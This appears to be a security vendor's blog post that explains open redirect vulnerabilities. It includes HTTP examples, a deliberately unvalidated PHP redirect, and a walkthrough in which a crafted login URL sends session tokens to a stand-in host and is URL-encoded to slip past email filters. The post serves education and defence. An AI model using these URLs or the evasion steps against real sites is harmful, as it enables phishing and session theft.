At its core, an open redirect vulnerability exists when a web application unsafely redirects users to another resource based on user-controllable data. This allows attackers to redirect victims to arbitrary external domains (hence the prefix ‘open’), leveraging the reputation of a trusted site to mask the redirect to a malicious site.
Consider the scenario where an attacker crafts a URL under the guise of a well-known brand, leading unsuspecting users from a legitimate site to a harmful one:
https://www.wellknownbrand.com/redirect.php?url=https://www.exploit.townUsers clicking on this link will be redirected from the trusted website www.wellknownbrand.com to the potentially malicious site www.exploit.town. This technique capitalizes on the initial trust in the legitimate website, making the phishing attempt more convincing and difficult to detect.
The execution of an open redirect can occur through HTTP headers. A server responds to a request with a HTTP redirect code, e.g. 302, instructing the browser to navigate to a new location. The following example shows such a redirect from www.wellknownbrand.com to www.exploit.town.
HTTP Request
GET /redirect.php?url=https://www.exploit.town HTTP/1.1
Host: www.wellknownbrand.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1HTTP Response
HTTP/1.1 302 Found
Date: Wed, 24 Jan 2024 09:17:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 68
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, Authorization, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST,PUT, DELETE
Location: https://www.exploit.town
Vary: Accept
Another method to redirect is via code embedded in the Document Object Model (DOM). For example by embedding JavaScript in the web page to trigger the redirect once the page loads. This code is already in place by the web application for the functionality of the redirect, the attacker only has to abuse that to redirect to the domain he wants.
HTTP Request
GET /redirect.php?url=https://www.exploit.town HTTP/1.1
Host: www.wellknownbrand.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
HTTP Response
HTTP/1.1 200 OK
Date: Wed, 24 Jan 2024 08:27:44 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Vary: Accept-Encoding
Server: Apache
Content-Length: 281
<html>
<head>
<script>
function redirect () {
window.location.href = "https://www.exploit.town";
}
</script>
</head>
<body onLoad='redirect()'>
</body>
</html>Both methods begin with the victim's interaction with a reputable domain, only to be stealthily redirected to a site controlled by the attacker.
Attackers can further obfuscate their phishing attempts by manipulating URL representations, and using relative URLs instead of absolute URLs. This manipulation exploits the way browsers resolve relative URLs, allowing attackers to hide the malicious destination until the redirection occurs. By crafting URLs that disguise the malicious intent, attackers make it challenging for both users and email security systems to see what is going on.
In our example, the absolute URL https://www.exploit.town is identical with its relative representation //www.exploit.town and will be resolved by using the schema from the base URL.
HTTP Request
GET /redirect.php?url=//www.exploit.town HTTP/1.1
Host: www.wellknownbrand.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1HTTP Response
HTTP/1.1 302 Found
Date: Wed, 24 Jan 2024 09:17:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 68
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, Authorization, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST,PUT, DELETE
Location: //www.exploit.town
Vary: AcceptOpen redirect vulnerabilities are not merely a tool for deception; they can, for example, also compromise the integrity of authentication processes. An attacker could steal authentication tokens by letting a user authenticate on a legitimate domain and then redirect to a malicious one where the attacker collects the authentication-tokens sent within the redirect. This scenario highlights the broader security implications of open redirects, extending beyond phishing to include potential access to sensitive information and systems.
The sophistication of open redirect attacks poses a significant challenge for email security solutions. Traditional security measures that scan for malicious URLs within emails may not detect a threat if the initial URL points to a trusted domain. Attackers exploit this by crafting emails that pass initial security checks, only revealing their malicious intent upon user interaction. This technique reduces the likelihood of detection and quarantine by email security systems and increasing therefore the success chance of phishing attacks.
Let’s dive into a practical example:
An adversary is building an email using an open redirect vulnerability on the domain www.wellknownbrand.com to redirect to the phishing domain phishing.exploit.town.
The vulnerability is within the login endpoint of the web shop which is part of the website of wellknownbrand. The URL for the login page looks like the following:
https://www.wellknownbrand.com/login?uuid=a2865eb3-c9d0-4517-8d89-ae0ff4b0981d&redirect_uri=https://shop.wellknownbrand.comAfter login into the web shop, the endpoint sends the session token as a GET parameter in its URL. In the normal case, the user gets then redirected to https://shop.wellknownbrand.com/. The redirect would look like the following:
HTTP Response
HTTP/1.1 302 Found
Date: Wed, 24 Jan 2024 10:18:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 68
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, Authorization, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST,PUT, DELETE
Location: https://shop.wellknownbrand.com/?session=1uoi3h12jkh3122yhhu231123hk568mz
Vary: Accept
Now, the GET parameter redirect_uri is prone to an open redirect vulnerability, so we can craft the following URL containing the redirect target:
https://www.wellknownbrand.com/login?uuid=a2865eb3-c9d0-4517-8d89-ae0ff4b0981d&redirect_uri=https://phishing.exploit.town/collectorWhich will lead to the following redirect after successful login:
HTTP Response
HTTP/1.1 302 Found
Date: Wed, 24 Jan 2024 10:18:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 68
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, Authorization, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST,PUT, DELETE
Location: https://phishing.exploit.town/collector?session=1uoi3h12jkh3122yhhu231123hk568mz
Vary: Accept
The URL embedded to redirect to https://phishing.exploit.town is relatively easy to detect. We now make it harder for email security providers to detect the malicious URL to reduce the detection rate.
First, we remove the scheme for the redirect to make it hard to identify the beginning of the URL:
https://www.wellknownbrand.com/login?uuid=a2865eb3-c9d0-4517-8d89-ae0ff4b0981d&redirect_uri=//phishing.exploit.town/collectorAs a next step we url encode the URL in the redirect. This way we obfuscate it:
https://www.wellknownbrand.com/login?uuid=a2865eb3-c9d0-4517-8d89-ae0ff4b0981d&redirect_uri=%2F%2Fphishing.exploit.town%2FcollectorIf the victim is clicking the link to this URL and logs in with his account, the redirect which will happen is the same as above, but with a harder to detect embedded URL.
This means, the session token will be sent after login to https://phishing.exploit.town/collector and an attacker has now a valid session for the phished user. The victim may not even now that this happened, as he logged into the trusted and known web shop of wellknownbrand.
For the email security filter, it is hard to detect the open redirect vulnerability within the URL:
https://www.wellknownbrand.com/login?uuid=a2865eb3-c9d0-4517-8d89-ae0ff4b0981d&redirect_uri=%2F%2Fphishing.exploit.town%2FcollectorThe domain where the first request is sent to is www.wellknownbrand.com, which has a good reputation because it is, well, a well-known brand. Additionally, if the phished user has an account with wellknownbrand.com, then the email security system may know the domain already and won’t notice anything suspicious. When we look at the GET parameter redirect_uri, there is no protocol which could be detected by a filter. There is only a url-encoded string which looks like a domain but could also be just some other data. Identification of the start of a relative URL is hard and could also lead to false positives as it could be a legitimate part of a URL.
Open redirect vulnerabilities typically arise if a user can provide data which is not sanitized or restricted and is used to build the target for a redirect. Let's go back to the initial example in which the redirect is triggered using the HTTP location header. The PHP code in question could look like this.
redirect.php
<?php
$url = $_GET["url"];
$location_header = "Location: " . $url;
header($location_header, true, 302);
exit;
?>As we see, the GET parameter url is read without any checks or sanitization and is then put into the string location_header, which is used to send back the HTTP 302 for the redirect.
Addressing open redirect vulnerabilities requires a dual approach. For developers, implementing safeguards against unsafe redirects is paramount. This can include creating allow lists that restrict redirects to known, safe destinations, effectively neutralizing the threat of arbitrary redirection. For email security providers, enhancing detection capabilities to identify potential open redirects within URLs is crucial. This involves analyzing URLs for patterns indicative of open redirects, even when they are obfuscated or encoded.
Open redirect vulnerabilities represent a significant and sophisticated threat to email security. By leveraging the trust in reputable domains, attackers can bypass security filters, making their phishing attempts more convincing and challenging to detect. Awareness and understanding of these vulnerabilities, combined with proactive security measures, are essential in mitigating the risk and protecting users from these deceptive attacks. As the landscape of cyber threats evolves, so too must our strategies for defense, underscoring the importance of vigilance and innovation in the ongoing battle against cybercrime.
An open redirect vulnerability occurs when a web application allows user-controlled input to influence the destination of a redirection, enabling attackers to redirect users to malicious websites. This vulnerability arises due to improper validation or sanitization of input, allowing attackers to craft malicious URLs that appear legitimate but actually lead to harmful destinations.
Open redirect vulnerabilities can be found through a variety of methods, including manual testing and automated scanning tools. Manual testing involves examining each parameterized redirect link in the application to ensure that it only redirects to trusted and intended destinations. Automated scanning tools can help identify potential vulnerabilities by analyzing the application's source code or by simulating user inputs.
To fix open redirect vulnerabilities, web developers must implement strict validation and sanitization measures for redirect URLs. This involves verifying that redirections only occur to trusted and intended destinations within the same domain or from a whitelist of trusted external domains. Additionally, developers should avoid relying solely on client-side validation and instead perform server-side validation to prevent attackers from bypassing client-side controls.
If you want to learn more about how xorlab is dealing with phishing links that hide behind open redirect vulnerabilities, you can get a personalised demo by clicking on the link below.
New feature: protection against QR code phishing
A man-in-the-middle (MITM) attack happens when a bad actor intercepts traffic as it’s transmitted from point to point. The cybercriminal may be...
